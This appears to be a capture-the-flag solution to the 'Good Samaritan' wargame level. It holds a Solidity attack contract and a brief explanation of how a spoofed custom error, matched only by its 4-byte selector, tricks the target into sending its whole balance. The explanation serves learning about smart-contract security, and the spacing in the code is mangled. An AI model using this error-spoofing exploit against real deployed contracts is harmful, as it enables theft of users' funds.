// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;// ================================================================// │ LEVEL 27 - GOOD SAMARITAN │// ================================================================interface IGoodSamaritan {functioncoin() externalviewreturns (address coinAddress);functionnotify(uint256 amount) external;functionrequestDonation() externalreturns (bool enoughBalance);}interface ICoin {functionbalances(address account) externalviewreturns (uint256);}contract AttackContract {errorNotEnoughBalance(); IGoodSamaritan goodSamaritan;functionnotify(uint256/* amount */ ) publicview {// Check the balance of this contract, and if it is 10,// then revert with the custom error message NotEnoughBalance// to trigger the transferRemainder function in the GoodSamaritan contract ICoin coin =ICoin(goodSamaritan.coin());if (coin.balances(address(this)) ==10) {revertNotEnoughBalance(); } }functioncallGoodSamaritan(address targetContractAddress) public { goodSamaritan =IGoodSamaritan(targetContractAddress); goodSamaritan.requestDonation(); }}
Custom errors in Solidity are identified by their 4-byte ‘selector’, the same as a function call. They are bubbled up through the call chain until they are caught by a catch statement in a try-catch block, as seen in the GoodSamaritan's requestDonation() function. For these reasons, it is not safe to assume that the error was thrown by the immediate target of the contract call (i.e., Wallet in this case). Any other contract further down in the call chain can declare the same error and throw it at an unexpected location, such as in the notify(uint256 amount) function in your attacker contract.